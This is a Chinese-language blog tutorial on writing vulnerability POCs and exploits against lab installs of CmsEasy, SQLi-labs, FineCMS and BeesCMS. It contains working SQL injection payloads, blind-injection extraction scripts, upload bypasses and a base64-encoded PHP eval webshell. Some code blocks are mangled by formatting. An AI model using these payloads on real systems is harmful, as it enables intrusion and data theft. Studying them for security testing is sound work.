头图:https://cdn.naraku.cn/imgs/poc-0.jpg
摘要:[未完成] 简单POC学习笔记

简介

  • POC,即Proof of Concept,是业界流行的针对客户具体应用的验证性测试,根据用户对采用系统提出的性能要求和扩展需求的指标,在选用服务器上进行真实数据的运行,对承载用户数据量和运行时间进行实际测算,并根据用户未来业务扩展的需求加大数据量以验证系统和平台的承载能力和性能变化,在安全中可以理解成为漏洞验证程序
  • EXP:全称Exploit,英文意思就是利用,它在黑客眼里就是漏洞利用。有漏洞不一定就有Exploit(利用)。有Exploit就肯定有漏洞
  • POC与EXP的区别:POC是证明观点,一般是样本;EXP是漏洞利用,一般是程序。如果发现漏洞,给出POC可以写出EXP;
  • POC框架:就是一个批量调用,管理POC的程序
  • POC编写流程:

    • 根据漏洞详情找到影响版本,并搭建靶场
    • 分析漏洞详情,编写代码
    • 测试POC

      SQL注入型

      报错注入

  • 靶场环境:CmsEasy_v5.5

    • Tip:一开始使用PhpStudy搭建报错,后使用WAMP成功搭建
  • 漏洞详情:CmsEasy最新版5.5_UTF-8_20140802多处SQL注入

    漏洞复现

  • 先复现一下该漏洞。参考漏洞详情,可知[http://server.com/cmseasy/celive/live/header.php](http://server.com/cmseasy/celive/live/header.php)存在一处漏洞,这里使用HackBarPOST一下

x> 需要强调一点,在扫描的过程中,只需要证明漏洞存在就行。并且报告中不能出现管理员账号密码,只需要证明可以执行SQL语句即可

  • 因此需要修改Payload,输出CmsEasy的MD5值:

    1. xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#

    POC编写入门 - 图1

    POC

  • 使用Python提交POST请求,并打印结果 ```python

    -- coding:utf-8 --

    import urllib import urllib2 def check(): target = “http://server.com/cmseasy/celive/live/header.php

    Payload

    data = {

    1. "xajax":"LiveMessage",
    2. "xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
    3. }

    req = urllib2.Request(target, data=urllib.urlencode(data)) response = urllib2.urlopen(req) text = response.read() print text

if name == ‘main‘: check()

  1. - 判断一下打印结果是否包含`CmsEasy`MD5值,这里需要使用`hashlib`
  2. ```python
  3. # print text
  4. if hashlib.md5('CmsEasy').hexdigest() in text:
  5. print "%s is vulnerable" % target
  6. else:
  7. print "%s is not vulnerable" % target
  • 增加input,实现批量调用 ```python def check(domain): target = “%s/cmseasy/celive/live/header.php” % domain

    Payload

if name == ‘main‘: domain = raw_input(“请输入域名: “) check(domain)

  1. - 增加命令行调用,需要使用`sys`
  2. ```python
  3. if __name__ == '__main__':
  4. arg = sys.argv
  5. domain = ''
  6. if len(arg) == 2:
  7. domain = arg[1]
  8. check(domain)
  9. else:
  10. print u"使用说明: python %s IP/域名" % (arg[0])

完整代码

  1. # -*- coding:utf-8 -*-
  2. """
  3. @Author: Naraku
  4. @File: poc-sql-1.py
  5. """
  6. import urllib
  7. import urllib2
  8. import hashlib
  9. import sys
  10. def check(domain):
  11. target = "%s/cmseasy/celive/live/header.php" % domain
  12. # target = "http://server.com/cmseasy/celive/live/header.php"
  13. # Payload
  14. data = {
  15. "xajax":"LiveMessage",
  16. "xajaxargs[0][name]":"xajax=LiveMessage&xajaxargs[0][name]=1',(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(select concat(0x23,md5('CmsEasy')) from cmseasy_user where groupid=2 limit 1))a from information_schema.tables group by a)b),'','','','1','127.0.0.1','2')#"
  17. }
  18. req = urllib2.Request(target, data=urllib.urlencode(data))
  19. response = urllib2.urlopen(req)
  20. text = response.read()
  21. # print text # 输出一下
  22. if hashlib.md5('CmsEasy').hexdigest() in text:
  23. print "%s is vulnerable" % target
  24. else:
  25. print "%s is not vulnerable" % target
  26. if __name__ == '__main__':
  27. arg = sys.argv
  28. domain = ''
  29. if len(arg) == 2:
  30. domain = arg[1]
  31. check(domain)
  32. else:
  33. print u"使用说明: python %s IP/域名" % (arg[0])

布尔盲注

  • 靶场环境:SQLi-labs的第5关

    POC

  • 只需要验证漏洞存在,这里使用1-1即可根据是否返回You are in判断是否存在漏洞

    1. def POC(url):
    2. payload = ['1', '-1']
    3. r1 = requests.get(url + payload[0])
    4. r2 = requests.get(url + payload[1])
    5. if ("You are in" in r1.text) and ("You are in" not in r2.text):
    6. print "True"
    7. else:
    8. print "False"
    9. if __name__ == '__main__':
    10. url = 'http://test.com/sql/Less-5/?id='
    11. POC(url)

    EXP

  • 这里先猜解一下当前库名的长度,当and的两边均为True时返回You are in。此处可判断库名长度为8

    1. ?id=1' and (length(database())=1)--+
    2. ?id=1' and (length(database())=2)--+
    3. ......
    4. ?id=1' and (length(database())=8)--+ # 返回You are in
  • 使用Python实现:

    1. url = 'http://test.com/sql/Less-5/?id=1'
    2. db_length = 0
    3. for i in range(1, 20):
    4. payload = "' and (length(database())=%d)--+" % i
    5. # print(url+payload)
    6. r = requests.get(url + payload)
    7. if "You are in" in r.text:
    8. db_length = i
    9. print "Current_db_length: %d" % db_length
  • 接下来猜库名。使用left(database(),1)函数,从左往右返回库名的i位,然后跟后面的字符进行比较

    • 库名为:security
    • left(database(),1),返回s
    • left(database(),2),返回se
    • left(database(),8),返回security
      1. ...
      2. test.com/sql/Less-5/?id=1' and left(database(),1)='s' --+
      3. ...
      4. test.com/sql/Less-5/?id=1' and left(database(),2)='se' --+
      5. ...
      6. test.com/sql/Less-5/?id=1' and left(database(),3)='sec' --+
      7. ...
  • 代码如下:

    1. db_name = ''
    2. char = 'abcdefghijklnmopqrstuvwxyz_-'
    3. for i in range(1, db_length+1):
    4. for c in char:
    5. payload = "' and left(database(),%d)='%s' --+" % (i, db_name+c) #
    6. r = requests.get(url + payload)
    7. if "You are in" in r.text:
    8. db_name += c # 将当前字符加到库名,并跳出循环
    9. print "Current_db_name: %s" % db_name
    10. break

    完整代码

    1. # -*- coding:utf-8 -*-
    2. """
    3. @Author: Naraku
    4. @File: poc-sql-2.py
    5. """
    6. import requests
    7. def POC(url):
    8. payload = ['1', '-1']
    9. r1 = requests.get(url + payload[0])
    10. r2 = requests.get(url + payload[1])
    11. if ("You are in" in r1.text) and ("You are in" not in r2.text):
    12. print "True"
    13. else:
    14. print "False"
    15. def EXP(url):
    16. db_length = 0
    17. db_name = ''
    18. char = 'abcdefghijklnmopqrstuvwxyz_-'
    19. for i in range(1, 20):
    20. payload = "' and (length(database())=%d)--+" % i
    21. r = requests.get(url + payload)
    22. if "You are in" in r.text:
    23. db_length = i
    24. print "Current_db_length: %d" % db_length
    25. for i in range(1, db_length+1):
    26. for c in char:
    27. payload = "' and left(database(),%d)='%s' --+" % (i, db_name + c)
    28. r = requests.get(url + payload)
    29. if "You are in" in r.text:
    30. db_name += c # 将当前字符加到库名,并跳出循环
    31. print "Current_db_name: %s" % db_name
    32. break
    33. if __name__ == '__main__':
    34. url = 'http://test.com/sql/Less-5/?id='
    35. POC(url)
    36. EXP(url+'1')

    时间盲注

  • 靶场环境:SQLi-labs的第9关

    POC

  • 根据响应时间来确定是否存在漏洞,Payload:?id=1'and sleep(5) --+

  • POC如下,通过调用time()函数来确定响应时间

    1. # -*- coding:utf-8 -*-
    2. import requests
    3. import time
    4. def POC(url):
    5. payload = "1' and sleep(5) --+"
    6. t1 = time.time()
    7. requests.get(url + payload)
    8. t2 = time.time()
    9. if t2-t1 >=5 :
    10. print "True"
    11. else:
    12. print "False"
    13. if __name__ == '__main__':
    14. url = "http://test.com/sql/Less-5/?id=1"
    15. POC(url)

    EXP

  • 判断库名长度。这里延时5秒太长了,故修改为2秒 ```python db_length = 0

for i in range(1,20): payload = “‘ and if(length(database())=%d, sleep(2), 1) —+” % i t1 = time.time() requests.get(url + payload) t2 = time.time() if t2-t1 >= 2: db_length = i print “Current_db_length: %d” % db_length break

  1. - 猜解库名。这里的方法和前面布尔盲注差不多,Payload使用`if()``left()`函数,当满足条件时则延时2
  2. ```python
  3. db_name = ''
  4. char = 'abcdefghijklnmopqrstuvwxyz_-'
  5. for i in range(1, db_length+1):
  6. for c in char:
  7. payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
  8. t1 = time.time()
  9. r = requests.get(url + payload)
  10. t2 = time.time()
  11. if t2-t1 >= 2:
  12. db_name += c # 将当前字符加到库名,并跳出循环
  13. print "Current_db_name: %s" % db_name
  14. break

完整代码

  1. # -*- coding:utf-8 -*-
  2. """
  3. @Author: Naraku
  4. @File: poc-sql-3.py
  5. """
  6. import requests
  7. import time
  8. def POC(url):
  9. payload = "1' and sleep(5) --+"
  10. t1 = time.time()
  11. requests.get(url + payload)
  12. t2 = time.time()
  13. if t2-t1 >=5 :
  14. print "True"
  15. else:
  16. print "False"
  17. def EXP(url):
  18. db_length = 0
  19. db_name = ''
  20. char = 'abcdefghijklnmopqrstuvwxyz_-'
  21. for i in range(1,20):
  22. payload = "' and if(length(database())=%d, sleep(2), 1) --+" % i
  23. t1 = time.time()
  24. requests.get(url + payload)
  25. t2 = time.time()
  26. if t2-t1 >= 2:
  27. db_length = i
  28. print "Current_db_length: %d" % db_length
  29. break
  30. for i in range(1, db_length+1):
  31. for c in char:
  32. payload = "' and if(left(database(),%d)='%s', sleep(2), 1) --+" % (i, db_name + c)
  33. t1 = time.time()
  34. r = requests.get(url + payload)
  35. t2 = time.time()
  36. if t2-t1 >= 2:
  37. db_name += c # 将当前字符加到库名,并跳出循环
  38. print "Current_db_name: %s" % db_name
  39. break
  40. if __name__ == '__main__':
  41. url = "http://test.com/sql/Less-5/?id=1"
  42. POC(url)
  43. EXP(url)

文件上传型

前台Getshell

  • 靶场环境:FineCMS v5
  • 漏洞详情:关于finecms v5 会员头像 任意文件上传漏洞分析

    漏洞复现

  • 漏洞源码:Github - dayrui/finecms。最新的源码v5.1已修复此漏洞,通过翻查Commit找到了FineCMS v5.0.5版的源码,成功复现

    • Tip:安装时若出现PHP未开启Mcrypt扩展,原因是Mcrypt库已在PHP7.1中弃用,并在PHP7.2中删除(参考PHP手册 - Mcrypt),使用低版本PHP即可。
  • 进入网站首页,使用默认账号密码admin/admin登陆,自动跳转到会员中心,点击上传头像,开启Burp抓包,任意选择一张图片并点击保存
  • 根据漏洞详情,将POST包中的image/jpeg修改为image/php,点击提交。响应中含有status关键字表示漏洞存在

POC编写入门 - 图2

  • 这里不能直接上传一句话木马,但是可以通过POST数据进行写入,需要进行Base64编码。修改数据包如下:

    1. tx=data%3Aimage%2Fphp%3Bbase64%2CPD9waHAKIGV2YWwoJF9SRVFVRVNUWydjbWQnXSk7Cj8+

    POC编写入门 - 图3

    POC

  • 根据前面复现步骤,验证过程大概是:注册-登陆-上传一个php文件-验证是否上传成功

  • 完整POC。这里参考了别人的POC,需要注意的是POC仅作验证,因此不能写入木马,这里只写一个phpinfo()

    1. # -*- coding:utf-8 -*-
    2. """
    3. @Author: Naraku
    4. @File: poc-upload-1.py
    5. """
    6. import random
    7. import requests
    8. def POC(url):
    9. s = requests.session()
    10. username = random.randint(0, 999999)
    11. # 注册
    12. register_url = url + "/index.php?s=member&c=register&m=index"
    13. register_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[password2]": "123456",
    14. "data[email]": "admin@admin.com"}
    15. register_response = s.post(register_url, data=register_payload)
    16. # 登陆
    17. login_url = url + "/index.php?s=member&c=login&m=index"
    18. login_payload = {"back": "", "data[username]": username, "data[password]": "123456", "data[auto]": "1"}
    19. login_response = s.post(login_url, data=login_payload)
    20. # 上传
    21. upload_url = url + "/index.php?s=member&c=account&m=upload"
    22. upload_payload = {"tx": "data:image/php;base64,PD9waHAgcGhwaW5mbygpOyA/Pg=="}
    23. upload_response = s.post(upload_url, data=upload_payload).content
    24. if "status" in upload_response:
    25. return True
    26. return False
    27. if __name__ == '__main__':
    28. url = "http://server.com/"
    29. print POC(url)

    后台Getshell

  • 靶场环境:BeesCMS v4

  • 漏洞详情:BeesCMS Getshell

    漏洞复现

  • 搭建完成后,根据漏洞详情,访问index.php,POST一下数据

    1. _SESSION[login_in]=1&_SESSION[admin]=1&_SESSION[login_time]=99999999999

    POC编写入门 - 图4

  • 访问admin/upload.php,上传文件。并将Content-Type修改为image/png。这里上传一个phpinfo

POC编写入门 - 图5

POC

  1. # -*- coding:utf-8 -*-
  2. """
  3. @Author: Naraku
  4. @File: poc-upload-2.py
  5. """
  6. import requests
  7. def POC(url):
  8. login_payload = {
  9. '_SESSION[login_in]': '1',
  10. '_SESSION[admin]': '1',
  11. '_SESSION[login_time]': '999999999999'
  12. }
  13. r = requests.post(url=url, data=login_payload)
  14. cookie = r.cookies["PHPSESSID"]
  15. attack_url = url.replace("index.php", "admin/upload.php")
  16. payload = {
  17. 'up': (
  18. 'shell.php',
  19. "<?php phpinfo(); ?> ",
  20. 'image/png',
  21. ),
  22. }
  23. attack_cookie = {'PHPSESSID': cookie}
  24. upload_response = requests.post(attack_url, cookies=attack_cookie, files=payload)
  25. if ".php" in upload_response.text:
  26. return "True"
  27. return "False"
  28. if __name__ == '__main__':
  29. url = "http://server.com/beescms/index.php"
  30. print POC(url)

其它